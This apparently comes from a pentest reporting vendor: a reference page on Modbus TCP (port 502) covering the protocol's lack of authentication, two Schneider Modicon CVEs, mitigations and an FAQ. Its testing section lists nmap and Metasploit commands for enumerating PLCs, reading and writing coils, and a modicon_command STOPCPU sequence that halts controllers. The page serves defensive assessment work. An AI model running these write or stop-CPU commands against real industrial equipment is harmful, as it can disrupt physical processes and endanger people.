Port 502 – Modbus (Modbus TCP)

Port 502 is the default port for Modbus TCP, the industrial fieldbus protocol that lets a controller read and write the coils, registers, and I/O of a PLC or RTU on a factory floor, in a substation, or at a water plant. Modbus dates to 1979, and its TCP/IP form simply wraps the original serial frame in a short MBAP header so it can ride an Ethernet network. The protocol has no authentication, no encryption, and no integrity checking of any kind — by design, not by oversight. That means anyone who can route a packet to port 502 can speak to the equipment behind it: enumerate its unit/slave IDs, read live sensor values out of its registers, and — this is the part that matters — write new values into its coils and holding registers, changing the state of physical actuators, setpoints, and outputs on running industrial hardware. An open port 502 is not a web app to fuzz; it is a direct line to an operational-technology (OT) device that moves things in the real world.

Why It’s Open

Port 502 is open because something is doing its job. Modbus TCP is the lingua franca of industrial control: SCADA masters, HMIs, historians, and engineering workstations poll PLCs and RTUs over 502 to gather telemetry and issue commands. Programmable logic controllers from Schneider Electric (Modicon), Siemens, WAGO, CODESYS-based devices, and countless smaller vendors ship with a Modbus TCP server listening on 502 out of the box, and protocol gateways translate serial Modbus RTU/ASCII to Modbus TCP so legacy field devices join the same network.

The problem is where that port ends up reachable. Modbus was built for an isolated, trusted serial loop where every node was inside the same locked cabinet. Flat OT networks, remote-access requirements, badly drawn firewall rules, cellular RTUs, and the general collision of IT and OT have pushed tens of thousands of these devices onto routable networks — and a Shodan or Censys search for port:502 reliably returns tens of thousands of PLCs answering directly from the public internet. There is no login to fail. If the port answers, the device is talking.

Common Risks

• No authentication — at all. The protocol has no concept of a user, password, or session. Reaching port 502 is the authorization. There is nothing to brute-force because there is nothing to log into.
• No encryption. Every request and response, including the register values that represent physical process state, travels in cleartext and can be sniffed, replayed, or man-in-the-middled on the wire.
• No integrity or authenticity. A spoofed or replayed frame is indistinguishable from a legitimate one, so an attacker on-path can forge commands or tamper with responses (e.g., feed the HMI fake “normal” readings while manipulating the process).
• Unauthenticated writes to physical outputs. Function codes for writing coils (05, 15) and registers (06, 16) let anyone flip an actuator, change a setpoint, or overwrite configuration registers — with real, physical, and potentially safety-relevant consequences.
• Unit/slave-ID enumeration. A single scan walks the unit IDs behind a gateway, mapping every downstream device and its holding/input registers for an attacker to profile.
• Vendor “diagnostic” and stop-CPU abuse. Many PLCs expose proprietary or diagnostic functions layered on top of Modbus (Schneider’s UMAS on function code 0x5A, for example) that let an unauthenticated peer halt the CPU, wipe the running program, or force a fault state — a denial of service against a live process.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Modbus testing is unlike testing an IT service: reads are usually harmless, but writes and diagnostic commands can physically disrupt or damage equipment and endanger people. Only ever touch equipment you are explicitly authorized to test, and keep write/stop operations to a lab or an agreed maintenance window — never a live production controller.

Confirm the service and version

nmap -sV -p 502 <target>

Enumerate unit/slave IDs and device info (NSE)

The modbus-discover script walks the Modbus unit IDs (SIDs) behind the port and pulls vendor/firmware strings where the device exposes them:

nmap -p 502 --script modbus-discover --script-args='modbus-discover.aggressive=true' <target>

Detect and profile with Metasploit

The Rapid7 tree ships several SCADA-focused Modbus modules:

msfconsole -q
use auxiliary/scanner/scada/modbusdetect
set RHOSTS <target>
run

use auxiliary/scanner/scada/modbus_findunitid
set RHOSTS <target>
run

# Read/write coils and registers by unit ID (use read-only funcs first)
use auxiliary/scanner/scada/modbusclient
set RHOST <target>
set UNIT_NUMBER 1
set ACTION READ_COILS
run

Read registers by hand with a Modbus client

# mbtget: read 10 holding registers (function code 03) from unit 1
mbtget -r3 -a 0 -n 10 -u 1 <target>

# pymodbus one-liner equivalents exist via the pymodbus.console REPL

Schneider Modicon: demonstrate a stop-CPU DoS (lab only)

The modicon_command module speaks Schneider’s UMAS-over-Modbus and can start/stop the CPU on Quantum/Modicon controllers with no authentication — a stark demonstration of the design-level risk. Treat it as destructive:

use auxiliary/admin/scada/modicon_command
set RHOST <target>
set MODE STOPCPU
run

Record every open port 502, each unit ID you enumerate, and the exact register reads/writes you performed and their impact, so the evidence and the safety context land in the pentest report rather than a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

The most important thing to understand about port 502 is that Modbus’s biggest weakness is not a CVE — it is the protocol design. There is no missing patch that adds authentication or encryption to Modbus TCP itself; the lack of both is baked into the 1979 specification and every conformant device. “Unauthenticated read/write to a PLC over Modbus” is expected behaviour, not a bug, so you will not find (and should not cite) a CVE for “Modbus has no auth.” The mitigation for that is architectural, covered below — not a firmware update.

Where real CVEs do exist is in specific vendor PLC firmware — the proprietary functions and stacks layered on top of Modbus. These are worth citing because they are verifiable and firmware-scoped:

• CVE-2021-22779 — “ModiPwn” (Armis, 2021). An Authentication Bypass by Spoofing in Schneider Electric Modicon M340 and M580 controllers (and EcoStruxure Control Expert / Process Expert) lets an attacker spoof the Modbus/UMAS communication between the engineering software and the PLC, gaining unauthenticated read and write access to the controller — defeating the very security Schneider had added to lock down undocumented Modbus commands. CVSS 9.1 (Critical).
• CVE-2018-7852 — An uncaught-exception denial of service in Schneider Electric Modicon M580, M340, Quantum, and Premium controllers: sending an invalid private command parameter over Modbus can crash the controller into a fault state, halting the process it runs. Unauthenticated, network-reachable, CVSS 7.5 (High).

When you fingerprint a specific PLC on port 502, check that vendor and firmware version against NVD (Schneider, Siemens, WAGO, CODESYS runtimes all have their own advisories). Do not attribute famous ICS incidents to Modbus that weren’t: Stuxnet targeted Siemens S7/Step 7, not Modbus, and Industroyer/CRASHOVERRIDE used IEC 60870-5-104 and IEC 61850 — accuracy matters when you write these up.

Mitigation

Because the core risk is design-level, the fixes are network-architectural, not patch-level:

• Never expose port 502 to the internet. Full stop. Audit with Shodan/Censys and firewall rules; a Modbus device answering a public IP is an incident waiting to happen.
• Segment the OT network (Purdue model). Keep PLCs/RTUs in their process cell, behind an industrial DMZ, isolated from IT and from each other where possible. Modbus assumes a trusted, isolated bus — give it one.
• Use unidirectional gateways / data diodes for telemetry that only needs to flow outward (historian, monitoring), so no write path exists from the outside at all.
• Restrict who can talk Modbus. Allowlist the specific master/HMI/engineering-station IPs that legitimately poll each controller; drop everything else at an OT-aware firewall.
• Adopt Modbus/TCP Security (the TLS variant, port 802) or wrap Modbus in a VPN/IPsec where equipment supports it, to add the encryption and authentication the base protocol lacks.
• Patch the PLC firmware for the vendor-specific CVEs (like the Modicon issues above) even though the protocol itself won’t change, and disable unused services and proprietary functions on the controller.
• Monitor OT traffic with a protocol-aware IDS (e.g. Modbus-aware rules) for unexpected write function codes, new unit IDs, or stop-CPU commands.

Real-World Example

The clearest illustration of the port 502 problem is Armis’s 2021 ModiPwn research against Schneider Electric Modicon PLCs. Schneider had layered undocumented, “secured” Modbus/UMAS commands on top of the protocol to gate sensitive operations; ModiPwn (CVE-2021-22779) bypassed that gate by spoofing the Modbus session, restoring full unauthenticated read/write control of the controller and chaining onward to native code execution — all over port 502, with no credentials. It is a textbook demonstration that once you can reach a Modbus port, the device is effectively yours.

The broader, quieter example is exposure itself: at any given time a Shodan search for port:502 returns tens of thousands of internet-facing Modbus devices — water and wastewater, building automation, energy, and manufacturing gear — each answering unauthenticated read and, often, write requests to anyone who asks. Researchers have run ICS honeypots on 502 for years and watched them get discovered, enumerated, and poked within hours. No zero-day is required; the protocol’s own design is the vulnerability, and the internet-facing ones are found the moment they appear.

FAQ

What is port 502 used for?

Port 502 is the default port for Modbus TCP, the industrial protocol that SCADA systems, HMIs, and engineering workstations use to read and write the coils, registers, and I/O of PLCs and RTUs. It carries the actual control and telemetry traffic of factories, utilities, and building-automation systems.

Is port 502 dangerous to expose?

Extremely, on any untrusted network. Modbus has no authentication, no encryption, and no integrity checking, so anyone who can reach port 502 can read process data and write new values to physical outputs — with real-world, potentially safety-relevant consequences. An internet-facing port 502 should be treated as a critical exposure to close, not a service to harden in place.

Does Modbus have authentication or a password?

No. Neither Modbus RTU (serial) nor Modbus TCP has any concept of a user, password, or session, and there is no encryption. This is a design characteristic of the 1979 protocol, not a bug or a missing patch. Security has to be provided by the network around it (segmentation, firewalls, VPN/TLS), never by the protocol itself.

Can an attacker actually control equipment over port 502?

Yes. The write function codes — write single coil (05), write single register (06), write multiple coils (15), and write multiple registers (16) — let an unauthenticated peer change actuator states and setpoints. On many PLCs, proprietary functions layered on Modbus (like Schneider’s UMAS) even allow stopping the CPU or wiping the running program.

Is there a CVE that fixes Modbus’s lack of security?

No, and there won’t be — the lack of authentication and encryption is by design, so it isn’t tracked as a CVE. Real CVEs exist in specific vendor firmware (for example CVE-2021-22779 and CVE-2018-7852 on Schneider Modicon controllers), but the protocol-level risk is mitigated with network architecture, not patches.

How do I secure port 502?

Keep it off the internet entirely, segment OT from IT using the Purdue model, allowlist only the specific masters that need to poll each controller, use unidirectional gateways for outbound-only telemetry, and adopt Modbus/TCP Security (TLS) or a VPN where the equipment supports it. Patch PLC firmware for vendor-specific bugs, and monitor Modbus traffic for unexpected writes or stop-CPU commands.

TL;DR

• Service: Modbus TCP — industrial control of PLCs/RTUs (coils and registers)
• Default port: 502/TCP (TLS “Modbus/TCP Security” variant on 802)
• Biggest risk: no authentication, no encryption, no integrity by design — anyone reaching port 502 can read process data and write to physical outputs, and vendor functions can stop the CPU
• Mitigation: never internet-expose; segment (Purdue model); allowlist masters; use unidirectional gateways and Modbus/TCP Security (TLS)/VPN; patch PLC firmware and monitor OT traffic

Modbus is the hub of a family of industrial protocols that share this no-authentication-by-design model — review its ICS/OT siblings on the same engagement: Siemens S7comm on port 102, EtherNet/IP on port 44818, BACnet/IP on port 47808, and DNP3 on port 20000. It is also one of several device- and infrastructure-management protocols that assume a trusted network they no longer have; for those related exposures, see SNMP on port 161 (device management with weak community strings), Telnet on port 23 (unencrypted legacy device administration), and RTSP on port 554 (exposed IP cameras and streaming devices). Whatever you find on port 502, capture the unit IDs, register evidence, and safety impact directly in your pentest reporting tool.